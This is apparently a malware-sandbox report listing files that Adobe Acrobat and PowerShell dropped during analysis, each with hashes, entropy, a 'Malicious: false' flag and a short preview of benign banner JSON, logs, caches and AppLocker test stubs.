Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.311116711525182
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJf8dPeUkwRe9:YvXKXIi/nExsdTeOodWiVGU8Ukee9
MD5:	D37EE39FDBD70E25FE72D23AA1457F0D
SHA1:	0801DFFD6F2D86C2B69F32B10346A860A8C00DB4
SHA-256:	201C6244C3A97DD422F3ECA74E965AF9A0FA57F43E6B3E18FAD2A05B8207B19A
SHA-512:	4B774498F03BF053D8239BC4112A5A68500565769163CDA49E055A6EFE35EC1C7BBA0ECA116DA590B78482B26BC95CE6938C3B2D24A6600FA724B5961C094F23
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.315193933755252
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfQ1rPeUkwRe9:YvXKXIi/nExsdTeOodWiVGY16Ukee9
MD5:	388D43B811E088DA1916A59C37DF07C1
SHA1:	10FF71781BC45DD187FE5F95B62F69962E6A0776
SHA-256:	4233C8C23E588CBE1FF182E8961E79F6FBC8B05F4DEF033D4E9C74DEFA83C5E7
SHA-512:	BCBFD1C722693A7B740175036100F7B1C58D645DCB3B5FA3F3FF59A7C505E9982E7B771C8DCD2A090DCE7B7D5684F311F8D35C967F2CE70ADC676297377DBD09
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330077878798176
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfFldPeUkwRe9:YvXKXIi/nExsdTeOodWiVGz8Ukee9
MD5:	BEB797EB0EEB0D89A5A82CA8EE191287
SHA1:	216A73D2C66B4660F158E0B7DD2871335E223061
SHA-256:	320F61AB98D6208C6D0AB9BFE2EA53DE07E16A8C9C775E3DC14FB177B49EE33D
SHA-512:	969C2A3FDC6E8664B6A578AD6EC90EB019562C224EABCC92BAF8A01D0A152E171C095060CE863C9CDE00368E5FC491E3C8387E3B866BA1FFC16574FD19D187FF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.337414335920899
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfzdPeUkwRe9:YvXKXIi/nExsdTeOodWiVGb8Ukee9
MD5:	F09874E6AC4BA8A724D40E2E2E76B678
SHA1:	CFC43AFD6E2D61FE782930A6709D695961317851
SHA-256:	CBB46A2365A0A782AD5B8DD3C15D425AAE53B1C36406B769BF61B59D02FBF3C2
SHA-512:	D8A2007166A193CF5541910639B82E6287F9D55E888370F9415442772029E73000D64FE7DBCD497752A4CD809AE4130EBD8E69D2BBF80412E746035F96AC4383
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.318139015949134
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfYdPeUkwRe9:YvXKXIi/nExsdTeOodWiVGg8Ukee9
MD5:	4409B54CC8A3108AB818C9B593583F02
SHA1:	F041020818BCEEB92EE9F84568A50EBFADA6E2F5
SHA-256:	E68BDC3B08D34FA76E24A6F40307F1560B5552A9A9032AE1162C607CD69EEC4C
SHA-512:	76AAE1525B55E31858D7FD4F1B0D7F9FD5D45C091A16A5010984945D76B901DC447CA7C8F7AEEC1959D91751D0AE2E8C761CD3C4938737263185B3295D494973
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.30419103611131
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJf+dPeUkwRe9:YvXKXIi/nExsdTeOodWiVG28Ukee9
MD5:	AAB2538419B2A079D80A23C4C400F388
SHA1:	6F3EC7EF99F619B8A8B38A31FFE38297BE4529C7
SHA-256:	FFF99B7AE2DE8F1B34E2B6AD44E7039A16234C5ED0E13EB6698C689B4D47961C
SHA-512:	F88E54E1F4D8DA43890D7C263E939A18A587B219634DAB7C1FF9434E7C47DCC310CED8997ECB6AB6F8E97AB4838CF1448678BA631EA67AA7A99CF9EFC57B0D3C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.301561446846714
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfbPtdPeUkwRe9:YvXKXIi/nExsdTeOodWiVGDV8Ukee9
MD5:	1D68293E3DB2559E4A04B80DA978708A
SHA1:	2CC84ADDC3241CE76E1B2CC92E890D649F2F77F5
SHA-256:	906FC9B4AD6E5179C211572475BEEF79EEDEF79F24DCF1C91163DA9B63FA8007
SHA-512:	87782BD0547C4A5C532DF500B9948851B970927DA519BC77415FC8FB93AA76F718F64F5E856BC960495FDB4BF9A8570EC679DF3FA68D8E36C110109F50F3A031
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.306149589940459
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJf21rPeUkwRe9:YvXKXIi/nExsdTeOodWiVG+16Ukee9
MD5:	138248D2C425EF1FF472EAA1002BC189
SHA1:	6B679B5AA91EB3D6D97934C017396BF0C9F1BB3C
SHA-256:	9CD4A39FC106657AEDAE36AAA1766F76F82F28B34C12DCB1DF384EB472F6EB92
SHA-512:	4B0B3666FB6B65796064A1FA97ED2F9B40031EC574D08072E0EAAF2C2715C647BBA1B4B9D44F3EF870B8F79D3ACBAEBA0D48E7DEC68AA91D4308BCE4FBBD834C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.663041736573021
Encrypted:	false
SSDEEP:	24:Yv6XIiKmeOodW7amXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSBW:YvZIeuBgkDMUJUAh8cvMBW
MD5:	33C14B5DC19E04FD8054C18E0D685E6B
SHA1:	2CBCE711486FE562DF88A424585CCDE8166BE759
SHA-256:	8DC072236E4CBE1C0E48A78A809AB44B1ACF1C334B332B34C2835EDD33BAB3A5
SHA-512:	7136FEA4E11B647CF4C06CFB82B43A342B7754B149E779A58089EE75A38E161B4782401883A67C7EC1B30CB35E00409B646143DBC88ABC8922447BB365EEF045
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.281556801711825
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJfshHHrPeUkwRe9:YvXKXIi/nExsdTeOodWiVGUUUkee9
MD5:	77D29E1EFE611E55180588235E6EC5AE
SHA1:	93642F2DF60C61CF5B2BDCFAFDE569799940646C
SHA-256:	CF5C5230F30CDAFA974BC11DA2AF1ACE90AD739CF2E99AAB3FC42A275512DD9A
SHA-512:	5C8BD53EE06A861784417344156D8A6491E83DF473BD84BAA3B88747E97314DB89E4691F22E6ABC65154508B08144C887E67B0D65872CB83ABDF6E7CA9A736EB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.295215080410479
Encrypted:	false
SSDEEP:	6:YEQXJ2HXi/dipRnE2WsGiIPEeOF0YIdWieoAvJTqgFCrPeUkwRe9:YvXKXIi/nExsdTeOodWiVGTq16Ukee9
MD5:	A14BC6198A3D8A66873726B927B93A95
SHA1:	BDC8712AE1670D4CD44156CA88C6C53EA3340F9F
SHA-256:	FA5922CF8ED2CD0BB4EF7D2F78B4F8270CF8D5266DADC9618D508754489ECF1C
SHA-512:	4E08AC77C5AAF50239523AB6EE2ED15B57B535093092D9D22B57BE94F04351A3E29BA643C744F4B17044B4BBF516D74E710312B273CAA4A508BCEFB7A2F4D6FA
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"c2dd294f-0643-4683-87b3-039f2845199a","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736696749622,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.145184319964235
Encrypted:	false
SSDEEP:	24:YZsXBafrayHhyqNGltMabKcIMj6lj0SEPq82ax2LS2Cp2X+3/rcLG5L/519AuDOG:Yrzyu0MGjmEdAT+3/4LG5739h
MD5:	2DAF69869C1F03175110333997CA326A
SHA1:	87435C5046FD75178B9EC30945303F85C246495D
SHA-256:	E11015304ABDD145048A78721D28D9B344119E301E8905E25D7604F1094D4E03
SHA-512:	FDB56B5AF44A7005A048A90C89FD5BD9C679C79E3F8FFC5C044C37BF3D1F0691F47CBB6415AF863BB4082E2EDE192FBD68106E6497ACF3B93D5235FBFDB99D8E
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"2b765d8b9df643f6b718edc18d97e008","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736517695000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"15b4a36acd6f4b45005843254cbe5863","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736517695000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"9a61da5bc7227a8d401a246c431f472c","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736517695000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"22a15dc02d7fd82dcdb1a048dd4e66ee","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736517695000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"3ca494e6d64411f35c676f6d6acf4314","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736517695000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"65e4f9717acb261b90381de9af13ce89","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4523368531071892
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsAlc:lNVmsw3SHtbDbPe0K3+fDZdg
MD5:	BF6035B325CFA32832643D959A4B452A
SHA1:	8E738CF3BE3114B34AFA5228BD94A1E54121B8E9
SHA-256:	ECE8A539D5BD9F3D1F25210E55E8F41BD763190DDD11918B7126E0BF3D26A82D
SHA-512:	5E05A0D6D7F84179CAED673D4D8C596D5F886BAA6C2197EE6ED2882952AD01D7F262AC16EF0346C422FE4271B90E2CBDF6672EEA8D13D420FC1A4ADB5976AF95
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.955070031033871
Encrypted:	false
SSDEEP:	48:7MarvrBd6dHtbGIbPe0K3+fDy2ds1/qFl2GL7mse:7r3SHtbDbPe0K3+fDZd8KVmse
MD5:	089FBC37E9BD3D13278C935C8B73929A
SHA1:	3E6A01125AF18762C0E0C07803434EF06A860280
SHA-256:	E67BA2B3D2CCEED220FE974C5459B8B51FF74B063FA4FAD87F4A6DB4B05EA802
SHA-512:	66949100DC4C212682058F8758189BE85B02874E2E547EE6DC19276FDA9EDC2396197BA19FBEFD4BF8FB262DED01C82DBB9D0CE10988A2E57698222D75ACD02F
Malicious:	false
Preview:	.... .c..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgas3Z6KWsLtZAyo8J/U8xBsFbCYyu:6a6TZ44ADEas3ZdWotauBslCK
MD5:	622B36BE6991C490122512DAF5C99E46
SHA1:	038C69B7FD88AEF46859ED9C0345CB8AF859C63E
SHA-256:	8A79281E998C63A0978C057F353D7F667195A53AC05E186606BE7C962E5393AA
SHA-512:	767713566FD9F4A2F16A66B874740CA2B781D582497CC6E6006674ABD849300EF466542921E96F13859B41037E6E63625B1C3CDA2FBC95CF9CFC2E47AA54BCE0
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulJnp/p:NllU
MD5:	BC6DB77EB243BF62DC31267706650173
SHA1:	9E42FEFC2E92DE0DB2A2C9911C866320E41B30FF
SHA-256:	5B000939E436B6D314E3262887D8DB6E489A0DDF1E10E5D3D80F55AA25C9FC27
SHA-512:	91DC4935874ECA2A4C8DE303D83081FE945C590208BB844324D1E0C88068495E30AAE2321B3BA8A762BA08DAAEB75D9931522A47C5317766C27E6CE7D04BEEA9
Malicious:	false
Preview:	@...e.................................X..............@..........

C:\Users\user\AppData\Local\Temp\MSI3b177.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5046637269111454
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebCl0ciflH:Qw946cPbiOxDlbYnuRK+bRflH
MD5:	D9F57884FC4F8FA897741D98228C5189
SHA1:	194FF07D437D3FCA3613FA7E67DE2A38794E9A6F
SHA-256:	6EA527E9F2A21A801EAA3A9B86C7F566CD86AE587FF6AF9AD3D0AE57421C612E
SHA-512:	300B056E0118B6DCB4671C934975D450F87319F10A2A6281FEDEA8BC2F775651B9FE8D6DE1935838E20AAFC215B6BE59DA222DCF97CCEA28BC7DC8E71FCEA699
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.9.:.0.1.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbbdo3hc.pgg.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zo1nzyyt.2mc.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 09-01-26-714.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.364984741802513
Encrypted:	false
